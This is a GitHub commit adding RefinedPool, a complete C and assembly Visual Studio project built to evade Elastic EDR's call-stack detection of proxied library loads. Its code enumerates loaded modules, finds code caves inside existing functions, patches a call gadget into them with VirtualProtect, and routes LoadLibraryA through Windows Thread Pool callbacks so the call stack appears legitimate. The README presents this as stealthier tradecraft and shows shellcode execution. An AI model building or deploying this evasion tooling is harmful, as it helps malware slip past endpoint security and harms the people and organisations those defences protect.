Add files via upload

This commit is contained in:
Vithor
2026-02-20 02:50:23 -03:00
committed by GitHub
commit fb9f305565
11 changed files with 831 additions and 0 deletions
+102
View File
@@ -0,0 +1,102 @@
# RefinedPool
**Evading Elastic EDR call stack signatures through dynamic code cave injection**
RefinedPool is an enhancement of [LibTPLoadLib](https://github.com/AlmondOffSec/LibTPLoadLib) by [@AlmondOffSec](https://github.com/AlmondOffSec), which uses call gadgets to break the [call stack signature used by Elastic EDR](https://github.com/elastic/protections-artifacts/blob/6e9ee22c5a7f57b85b0cb063adba9a3c72eca348/behavior/rules/windows/defense_evasion_library_loaded_via_a_callback_function.toml) on proxying module loads via Windows Thread Pool API.
### Original Technique
The original **LibTPLoadLib** technique (detailed in [this blogpost](https://offsec.almond.consulting/evading-elastic-callstack-signatures.html)) works by:
- Using Thread Pool callbacks to proxy `LoadLibraryA` calls
- Leveraging a call gadget (`call r10; add rsp, 0x28; ret`) to remove the callback function from the call stack
![diagram](https://offsec.almond.consulting/images/evading-elastic-callstack-signatures/callback2_0_diagram.png)
- This breaks Elastic's detection pattern that looks for suspicious call stacks when loading libraries
**The original approach required:**
- Loading a specific hardcoded DLL (`dsdmo_10.0.26100.1882.dll`) containing the gadget
- The DLL had to be manually placed at `C:\dsdmo_10.0.26100.1882.dll`
- This creates a circular dependency: loading a suspicious DLL to evade detection of loading DLLs
## "Innovation"
The need for external hardcoded DLLs was eliminated by implementing **dynamic code cave injection**.
Instead of searching for pre-existing gadgets in hardcoded DLLs, RefinedPool:
1. **Enumerates loaded modules** in the current process
2. **Locates code caves** within executable sections, specifically:
- Searches inside existing function boundaries using the Exception Directory (`.pdata` / `RUNTIME_FUNCTION` table)
- Looks for continuous sequences of null bytes or INT3 instructions (`0xCC`)
- Ensures the cave is at least 10 bytes to fit the gadget
3. **Writes the gadget dynamically** into the discovered code cave:
```asm
41 FF D2 ; call r10
33 C0 ; xor eax, eax
48 83 C4 28 ; add rsp, 0x28
C3 ; ret
```
4. **Uses the injected gadget** for the Thread Pool callback, just like the original technique
### Advantages
- **No external DLL dependencies**: Works with modules already loaded in memory
- **Stealthier**: No suspicious DLL load operations that could trigger alerts
- **More practical**: Doesn't require specific Windows versions or pre-staged files
- **Dynamic adaptation**: Searches across multiple candidate modules automatically
- **Function-aware**: Preferentially places gadgets within legitimate function boundaries for "better stealth"
## Call Stack Result
![result](https://i.imgur.com/sluvimD.png)
![result_shellcode_execution](https://i.imgur.com/OPocl8J.png)
---
### Module Exclusion List
To avoid critical system modules, RefinedPool excludes:
- `ntdll.dll`
- `kernel32.dll`
- `kernelbase.dll`
## Methods
The methods can be easily alternated in "loadlib.c".
1. **WriteGadget** (primary method):
- Combines code cave detection with dynamic gadget injection
- Uses `FindCodeCaveInFunction` to locate suitable memory space
- Writes the 10-byte gadget sequence directly into discovered code caves
- Handles memory protection changes (VirtualProtect) automatically
2. **FindCallGadget** (original method):
- Searches for pre-existing gadget patterns in loaded modules
- Scans candidate DLLs for the byte sequence: `41 FF D2 ... 48 83 C4 28 C3`
- Kept for compatibility and fallback scenarios
- Can be used as alternative when code cave injection is not desired
## Credits & References
### Original Work
- **LibTPLoadLib** by [@AlmondOffSec](https://github.com/AlmondOffSec)
- Repository: https://github.com/AlmondOffSec/LibTPLoadLib
- Blog: https://offsec.almond.consulting/evading-elastic-callstack-signatures.html
- License: BSD 3-Clause License (see [tploadlib.c](https://github.com/AlmondOffSec/LibTPLoadLib/blob/main/src/tploadlib.c))
### Inspiration & Research
- [Elastic EDR detection rule](https://github.com/elastic/protections-artifacts/blob/6e9ee22c5a7f57b85b0cb063adba9a3c72eca348/behavior/rules/windows/defense_evasion_library_loaded_via_a_callback_function.toml) - The signature this technique bypasses
- [@rasta-mouse's LibTP](https://github.com/rasta-mouse/LibTP) - Format inspiration for the original project
- [Crystal Palace](https://tradecraftgarden.org/crystalpalace.html) - Shared library framework used in the original
- [Carregamento por Proxy](https://vith0r.gitbook.io/public/malware-dev/posts/stack/carregamento-por-proxy) - My research on proxy loading techniques
- [Return Address Spoofing](https://vith0r.gitbook.io/public/malware-dev/posts/stack/return-address-spoofing) - My research on call stack manipulation
## License
This project respects the original BSD 3-Clause License from LibTPLoadLib. See the copyright notice in `src_original/tploadlib.c` for the original license terms.
## Acknowledgments
Special thanks to [@AlmondOffSec](https://github.com/AlmondOffSec) / [@SAERXCIT](https://github.com/SAERXCIT) for the original research and implementation that made this enhancement possible.
+31
View File
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.14.36310.24 d17.14
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RefinedPool", "RefinedPool\RefinedPool.vcxproj", "{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x64.ActiveCfg = Debug|x64
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x64.Build.0 = Debug|x64
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x86.ActiveCfg = Debug|Win32
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x86.Build.0 = Debug|Win32
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x64.ActiveCfg = Release|x64
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x64.Build.0 = Release|x64
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x86.ActiveCfg = Release|Win32
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {47C08E14-691A-4F6D-ADF0-BB00826E3884}
EndGlobalSection
EndGlobal
+149
View File
@@ -0,0 +1,149 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{3cb63983-93e8-4aca-82d1-ec1d1edc32e5}</ProjectGuid>
<RootNamespace>RefinedPool</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>DO_GADGET=1
;WIN32;
_DEBUG;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>DO_GADGET=1
;WIN32;
_DEBUG;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="gadget.h" />
<ClInclude Include="loadlib.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="gadget.c" />
<ClCompile Include="loadlib.c" />
<ClCompile Include="main.c" />
</ItemGroup>
<ItemGroup>
<MASM Include="workcallback.asm">
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</ExcludedFromBuild>
<FileType>Document</FileType>
</MASM>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
+41
View File
@@ -0,0 +1,41 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Arquivos de Origem">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Arquivos de Cabeçalho">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Arquivos de Recurso">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="gadget.h">
<Filter>Arquivos de Cabeçalho</Filter>
</ClInclude>
<ClInclude Include="loadlib.h">
<Filter>Arquivos de Cabeçalho</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="gadget.c">
<Filter>Arquivos de Origem</Filter>
</ClCompile>
<ClCompile Include="loadlib.c">
<Filter>Arquivos de Origem</Filter>
</ClCompile>
<ClCompile Include="main.c">
<Filter>Arquivos de Origem</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<MASM Include="workcallback.asm">
<Filter>Arquivos de Origem</Filter>
</MASM>
</ItemGroup>
</Project>
+4
View File
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
+226
View File
@@ -0,0 +1,226 @@
#include "gadget.h"
#pragma comment(lib, "kernel32.lib")
PVOID FindGadgetInModule(HMODULE hModule) {
if (!hModule) return NULL;
PBYTE base = (PBYTE)hModule;
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
DWORD imageSize = nt->OptionalHeader.SizeOfImage;
for (DWORD i = 0; (i + 3 + GADGET_MAX_GAP + 5) < imageSize; i++) {
// 41 FF D2 = call r10
if (base[i] != 0x41) continue;
if (base[i + 1] != 0xFF) continue;
if (base[i + 2] != 0xD2) continue;
for (int gap = 0; gap < GADGET_MAX_GAP; gap++) {
DWORD j = i + 3 + gap;
if ((j + 4) >= imageSize) break;
// 48 83 C4 28 C3 = add rsp,28h / ret
if (base[j] == 0x48 &&
base[j + 1] == 0x83 &&
base[j + 2] == 0xC4 &&
base[j + 3] == 0x28 &&
base[j + 4] == 0xC3)
{
return (PVOID)&base[i];
}
}
}
return NULL;
}
PVOID FindCallGadget(HMODULE* phGadgetModule) {
if (phGadgetModule) *phGadgetModule = NULL;
printf("[*] Buscando gadget em DLLs candidatas...\n");
for (int i = 0; GADGET_CANDIDATE_DLLS[i] != NULL; i++) {
HMODULE hMod = GetModuleHandleA(GADGET_CANDIDATE_DLLS[i]);
if (!hMod) {
printf("tentando carregar '%s' para buscar gadget...\n", GADGET_CANDIDATE_DLLS[i]);
hMod = LoadLibraryA(GADGET_CANDIDATE_DLLS[i]);
getchar();
}
else {
printf("'%s' ja carregada, buscando gadget...\n", GADGET_CANDIDATE_DLLS[i]);
}
if (!hMod) continue;
PVOID gadget = FindGadgetInModule(hMod);
if (gadget) {
if (phGadgetModule) *phGadgetModule = hMod;
#ifdef _DEBUG
printf("[+] Gadget encontrado em '%s' %p\n", GADGET_CANDIDATE_DLLS[i], gadget);
#endif
return gadget;
}
}
return NULL;
}
PVOID FindCodeCave(void) {
HMODULE hSelf = GetModuleHandle(NULL);
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32,
GetCurrentProcessId());
if (hSnap == INVALID_HANDLE_VALUE) {
fprintf(stderr, "[!] CreateToolhelp32Snapshot falhou: %lu\n", GetLastError());
return NULL;
}
MODULEENTRY32W me = { .dwSize = sizeof(MODULEENTRY32W) };
PVOID result = NULL;
if (!Module32FirstW(hSnap, &me)) goto cleanup;
do {
if (me.hModule == hSelf) {
continue;
}
char nameA[MAX_PATH];
WideCharToMultiByte(CP_UTF8, 0, me.szModule, -1, nameA, MAX_PATH, NULL, NULL);
char* name = strrchr(nameA, '\\');
name = name ? name + 1 : nameA;
if (IsExcluded(name)) {
printf("[~] Pulando modulo excluido: %s\n", name);
continue;
}
printf("[*] Verificando: %s (base: %p)\n", name, (void*)me.hModule);
PVOID cave = FindCodeCaveInModule(me.hModule);
if (cave) {
printf("[+] Code cave encontrado em: %s %p\n", name, cave);
result = cave;
break;
}
} while (Module32NextW(hSnap, &me));
cleanup:
CloseHandle(hSnap);
return result;
}
PVOID WriteGadget(HMODULE* phModule) {
printf("[*] Buscando code cave de %d bytes dentro de funcao...\n", CAVE_SIZE);
// Percorre modulos carregados buscando um cave dentro de uma RUNTIME_FUNCTION
HMODULE hSelf = GetModuleHandle(NULL);
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32,
GetCurrentProcessId());
if (hSnap == INVALID_HANDLE_VALUE) {
fprintf(stderr, "[!] CreateToolhelp32Snapshot falhou: %lu\n", GetLastError());
return NULL;
}
MODULEENTRY32W me = { .dwSize = sizeof(MODULEENTRY32W) };
PVOID cave = NULL;
HMODULE hFoundMod = NULL;
if (!Module32FirstW(hSnap, &me)) { CloseHandle(hSnap); return NULL; }
do {
if (me.hModule == hSelf) continue;
char nameA[MAX_PATH];
WideCharToMultiByte(CP_UTF8, 0, me.szModule, -1, nameA, MAX_PATH, NULL, NULL);
char* name = strrchr(nameA, '\\');
name = name ? name + 1 : nameA;
if (IsExcluded(name)) continue;
printf("[*] Verificando funcoes em: %s\n", name);
cave = FindCodeCaveInFunction(me.hModule);
if (cave) {
hFoundMod = me.hModule;
printf("[+] Code cave encontrado em: %s %p\n", name, cave);
break;
}
} while (Module32NextW(hSnap, &me));
CloseHandle(hSnap);
if (!cave) {
printf("[-] Nenhum code cave em funcao existente encontrado.\n");
return NULL;
}
if (phModule) *phModule = hFoundMod;
DWORD oldProtect;
if (!VirtualProtect(cave, CAVE_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect)) {
fprintf(stderr, "[!] VirtualProtect falhou: %lu\n", GetLastError());
return NULL;
}
memcpy(cave, Gadget, CAVE_SIZE);
VirtualProtect(cave, CAVE_SIZE, oldProtect, &oldProtect);
printf("[+] Gadget escrito em: %p\n", cave);
return cave;
}
/*
PVOID WriteGadget(HMODULE* phModule) {
PVOID result = NULL;
printf("[*] Buscando code cave de %d bytes...\n", CAVE_SIZE);
PVOID cave = FindCodeCave();
if (!cave) {
printf("[-] Nenhum code cave encontrado.\n");
return NULL;
}
printf("[+] Code cave encontrado em: %p\n", cave);
if (phModule) {
MEMORY_BASIC_INFORMATION mbi;
if (VirtualQuery(cave, &mbi, sizeof(mbi))) {
*phModule = (HMODULE)mbi.AllocationBase;
}
else {
*phModule = NULL;
}
}
DWORD oldProtect;
if (!VirtualProtect(cave, CAVE_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect)) {
fprintf(stderr, "[!] VirtualProtect falhou: %lu\n", GetLastError());
return NULL;
}
memcpy(cave, Gadget, CAVE_SIZE);
VirtualProtect(cave, CAVE_SIZE, oldProtect, &oldProtect);
printf("[+] Gadget escrito em %p\n", cave);
return cave;
}
*/
+150
View File
@@ -0,0 +1,150 @@
#pragma once
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <stdio.h>
#include <string.h>
#define GADGET_MAX_GAP 20
#define CAVE_SIZE 10
static const char* GADGET_CANDIDATE_DLLS[] = {
"C:\\WINDOWS\\System32\\DriverStore\\FileRepository\\nv_dispi.inf_amd64_20ae8f14a487d5db\\nvwgf2umx.dll",
"nvwgf2umx.dll",
NULL
};
static const BYTE Gadget[CAVE_SIZE] = {
0x41, 0xFF, 0xD2, // call r10
0x33, 0xC0, // xor eax, eax
0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
0xC3 // ret
};
static const char* EXCLUDED_MODULES[] = {
"ntdll.dll",
"kernel32.dll",
"kernelbase.dll",
"user32.dll",
"windhawk.dll",
"win32u.dll",
NULL
};
static BOOL IsExcluded(const char* modName) {
char lower[MAX_PATH];
int i = 0;
while (modName[i] && i < MAX_PATH - 1) {
lower[i] = (char)tolower((unsigned char)modName[i]);
i++;
}
lower[i] = '\0';
for (int j = 0; EXCLUDED_MODULES[j] != NULL; j++) {
if (strcmp(lower, EXCLUDED_MODULES[j]) == 0)
return TRUE;
}
return FALSE;
}
static PVOID FindCodeCaveInModule(HMODULE hModule) {
if (!hModule) return NULL;
PBYTE base = (PBYTE)hModule;
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
WORD numSections = nt->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(nt);
for (WORD s = 0; s < numSections; s++, section++) {
if (!(section->Characteristics & IMAGE_SCN_MEM_EXECUTE))
continue;
DWORD rva = section->VirtualAddress;
DWORD size = section->Misc.VirtualSize;
if (size < CAVE_SIZE) continue;
PBYTE start = base + rva;
PBYTE end = start + size - CAVE_SIZE;
for (PBYTE p = start; p < end; p++) {
if (*p != 0x00 && *p != 0xCC)
continue;
BYTE fill = *p;
BOOL ok = TRUE;
for (int i = 1; i < CAVE_SIZE; i++) {
if (p[i] != fill) { ok = FALSE; break; }
}
if (ok) return (PVOID)p;
}
}
return NULL;
}
static PVOID FindCodeCaveInFunction(HMODULE hModule) {
if (!hModule) return NULL;
PBYTE base = (PBYTE)hModule;
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
// localiza a tabela .pdata (exception directory)
DWORD excRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;
DWORD excSize = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
if (!excRva || !excSize) return NULL;
RUNTIME_FUNCTION* rtTable = (RUNTIME_FUNCTION*)(base + excRva);
DWORD count = excSize / sizeof(RUNTIME_FUNCTION);
for (DWORD f = 0; f < count; f++) {
DWORD funcBegin = rtTable[f].BeginAddress;
DWORD funcEnd = rtTable[f].EndAddress;
DWORD funcSize = funcEnd - funcBegin;
if (funcSize < CAVE_SIZE + 16) continue;
PBYTE start = base + funcEnd - CAVE_SIZE;
PBYTE end = base + funcBegin + 16; // nao sobrescrever o inicio
for (PBYTE p = start; p > end; p--) {
if (*p != 0x00 && *p != 0xCC) continue;
BYTE fill = *p;
BOOL ok = TRUE;
for (int i = 1; i < CAVE_SIZE; i++) {
if (p[i] != fill) { ok = FALSE; break; }
}
if (ok) {
printf("[+] Code cave em funcao existente: RVA 0x%lX-0x%lX, cave: %p\n",
funcBegin, funcEnd, (void*)p);
return (PVOID)p;
}
}
}
return NULL;
}
PVOID FindGadgetInModule(HMODULE hModule);
PVOID FindCallGadget(HMODULE* phGadgetModule);
PVOID FindCodeCave(void);
PVOID WriteGadget(HMODULE* phModule);
+66
View File
@@ -0,0 +1,66 @@
#include "loadlib.h"
#include "gadget.h"
#pragma comment(lib, "kernel32.lib")
#pragma comment(lib, "ntdll.lib")
NTSYSAPI NTSTATUS NTAPI TpAllocWork(PTP_WORK*, PTP_WORK_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON);
NTSYSAPI VOID NTAPI TpPostWork(PTP_WORK);
NTSYSAPI VOID NTAPI TpWaitForWork(PTP_WORK, BOOL);
NTSYSAPI VOID NTAPI TpReleaseWork(PTP_WORK);
typedef struct _TP_LOADLIB_PARAMS {
LPSTR LibraryName; // rcx
PVOID pLoadLibraryAddress; // r10
PVOID pGadgetAddress; // r11
} TP_LOADLIB_PARAMS;
extern void WorkCallback_Gadget(PTP_CALLBACK_INSTANCE, PVOID, PTP_WORK);
extern void WorkCallback_Direct(PTP_CALLBACK_INSTANCE, PVOID, PTP_WORK);
HMODULE LoadLib(LPCSTR libName) {
PTP_WORK workItem = NULL;
TP_LOADLIB_PARAMS params = { 0 };
PTP_WORK_CALLBACK callback = NULL;
params.LibraryName = (LPSTR)libName;
params.pLoadLibraryAddress = (PVOID)LoadLibraryA;
#if DO_GADGET == 1
// ================================================================== //
// Entao, quando o Thread Pool executar o WorkCallback e ele fizer //
// "jmp r11" -> gadget -> "call r10" -> LoadLibraryA, //
// o call stack mostrara: //
// kernelbase.LoadLibraryA+8D //
// nvwgf2umx.dll+<offset do gadget> //
// ntdll.TppWorkpExecuteCallback //
// ... //
// ================================================================== //
HMODULE hGadgetMod = NULL;
//params.pGadgetAddress = FindCallGadget(&hGadgetMod);
params.pGadgetAddress = WriteGadget(&hGadgetMod);
printf("[*] Gadget address: %p (module: %p)\n", params.pGadgetAddress, hGadgetMod);
if (!params.pGadgetAddress) {
OutputDebugStringA("[LoadLib] ERRO: nenhum gadget encontrado.\n");
return NULL;
}
callback = (PTP_WORK_CALLBACK)WorkCallback_Gadget;
#else
/* sem gadget */
callback = (PTP_WORK_CALLBACK)WorkCallback_Direct;
#endif
TpAllocWork(&workItem, callback, &params, NULL);
TpPostWork(workItem);
TpWaitForWork(workItem, FALSE);
TpReleaseWork(workItem);
return GetModuleHandleA(libName);
}
+14
View File
@@ -0,0 +1,14 @@
/*
* RefinedPool - Enhanced LibTPLoadLib with dynamic code cave injection
*
* Based on LibTPLoadLib by @AlmondOffSec (BSD 3-Clause License)
* Enhancement by Vith0r - 2026
*
* This project respects the original BSD 3-Clause License.
* See: https://github.com/AlmondOffSec/LibTPLoadLib/blob/main/src/tploadlib.c
*/
#pragma once
#include <windows.h>
HMODULE LoadLib(LPCSTR libName);
+25
View File
@@ -0,0 +1,25 @@
#include <stdio.h>
#include "loadlib.h"
#pragma comment(lib, "psapi.lib")
int main(void) {
const char* libName = "wininet";
printf("\n[*] Carregando '%s' ...", libName);
getchar();
HMODULE hMod = LoadLib(libName);
if (hMod) {
printf("[+] '%s' carregada com sucesso: 0x%p\n", libName, (void*)hMod);
}
else {
printf("[-] Falha ao carregar '%s'\n", libName);
}
printf("\nPressione Enter para sair...\n");
getchar();
return 0;
}
+23
View File
@@ -0,0 +1,23 @@
.code
; arg1 = RCX arg2 = RDX arg3 = R8 arg4 = R9
WorkCallback_Gadget PROC
sub rsp, 28h ; Compensa o "add rsp,28h" do epilogue do gadget
mov r10, QWORD PTR [rdx + 08h] ; r10 = pLoadLibraryAddress (chamado pelo gadget via "call r10")
mov r11, QWORD PTR [rdx + 10h] ; r11 = pGadgetAddress
mov rcx, QWORD PTR [rdx] ; rcx = LibraryName (1o argumento de LoadLibraryA)
xor rdx, rdx ; rdx = NULL (2o arg - hFile para LoadLibraryExA)
xor r8, r8 ; r8 = NULL (3o arg - dwFlags para LoadLibraryExA)
jmp r11
WorkCallback_Gadget ENDP
WorkCallback_Direct PROC
mov rcx, QWORD PTR [rdx] ; LibraryName
mov rax, QWORD PTR [rdx + 08h] ; pLoadLibraryAddress
xor rdx, rdx ; NULL
xor r8, r8 ; NULL
jmp rax
WorkCallback_Direct ENDP
END